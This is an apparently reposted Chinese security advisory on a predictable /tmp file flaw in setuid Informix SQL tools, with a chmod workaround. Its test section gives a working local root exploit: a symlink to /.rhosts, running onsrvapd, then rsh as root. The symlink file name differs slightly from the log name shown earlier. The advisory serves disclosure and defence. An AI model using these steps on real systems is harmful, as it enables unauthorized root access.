手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>服务器技术>安全防护>列表

Informix SQL SNMPDM 可预知的临时文件创建漏洞

来源:互联网 作者:西部数码 时间:2008-04-09
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!
Informix SQL SNMPDM 可预知的临时文件创建漏洞

发布日期:2001-09-04
更新日期:2001-09-11

受影响系统:

IBM Informix SQL 7.31.UC5
IBM Informix SQL 9.20 UC2
- Sun Solaris 7.0
- Sun Solaris 2.6
- Slackware Linux 8.0
- Slackware Linux 7.1
- Slackware Linux 7.0
- S.u.S.E. Linux 7.2
- S.u.S.E. Linux 7.1x86
- S.u.S.E. Linux 7.0
- RedHat Linux 7.1 i386
- RedHat Linux 7.0 i386
- RedHat Linux 6.2E i386
- RedHat Linux 6.2 i386
- MandrakeSoft Linux Mandrake 8.0
- MandrakeSoft Linux Mandrake 7.2
- MandrakeSoft Linux Mandrake 7.1
- MandrakeSoft Linux Mandrake 7.0
- Debian Linux 2.2
- Conectiva Linux 7.0
- Conectiva Linux 6.0
- Conectiva Linux graficas
- Conectiva Linux ecommerce
描述:

BUGTRAQ ID: 3287

Informix是由IBM发布和维护的企业级数据库产品。

发现Informix SQL附加软件包中的多个程序在“/tmp”目录下创建日志文件时,文件名可预知,
而且在创建文件之前没有检查该文件是否存在或者是否为普通文件,又因为这些程序有setuid位,
导致攻击者可能利用这个漏洞覆盖任何系统文件,提升权限或者是进行拒绝服务攻击。
可能存在问题的程序有:
onbar_d ondblog onsmsync onsrvapd snmpdm

<*来源:(s96192@ce.hannam.ac.kr)
链接: http://archives.neohapsis.com/archives/bugtraq/2001-08/0463.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


(s96192@ce.hannam.ac.kr)提供了如下测试代码:

第一部分:
$ id
uid=500 (informix) gid=120 (informix) groups=1000(loveyou)
$ umask 0000
$ cd ~informix/bin (Informix HOME Directory)
$ ./onshowaudit
INFORMIX-SQL Version 7.31.UC5
$ ls -al onbar_d ondblog onsmsync onsrvapd
-rwsr-sr-x 1 root informix 2234104 Nov 18 1999 onbar_d
-rwsr-sr-x 1 root informix 2219456 Nov 18 1999 ondblog
-rwsr-sr-x 1 root informix 2284972 Apr 10 2000 onsmsync
-rwsr-sr-x 1 root informix 39144 Nov 18 1999 onsrvapd

$ ./onbar_d 或 ./ondblog 或 ./onsmsync
$ ls -al /tmp/bar*
-rw-rw---- 1 root informix 557 Aug 29 17:26 /tmp/bar_act.log
-rw-rw---- 1 root informix 0 Aug 29 17:26 /tmp/bar_dbug.log


第二部分:
$ ./onsrvapd
$ ls -al /tmp/ons*
-rw-rw-rw- 1 root informix 141 Aug 29 17:38 /tmp/onsnmp.(hostname).log
-rw-rw-rw- 1 informix informix 319 Aug 29 17:38 /tmp/onsrvapd.log


第三部分:
$ ./snmpdm
$ ls -al /tmp/snmpd.log
-rwxrwxrwx 1 root root 1085 Aug 29 17:43 /tmp/snmpd.log


第四部分:
loveyou@dogfoot$ ln -s /.rhosts /tmp/onsbmp.dogfoot.log
loveyou@dogfoot$ ~informix/bin/onsrvapd &
loveyou@dogfoot$ ls -al /.rhosts
-rw-rw-rw- 1 root informix 141 Aug 29 18:28 /.rhosts
loveyou@dogfoot$ echo " " > /.rhosts
loveyou@dogfoot$ rsh -l root localhost csh -i
# whoami
root


建议:

临时解决方法:

我们建议你在安装升级补丁之前,临时去掉该程序的setuid位:

$ su -
# cd ~informix/bin (Informix 主目录)
# chmod o-s onbar_d ondblog onsmsync onsrvapd snmpdm


厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.informix.com/

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!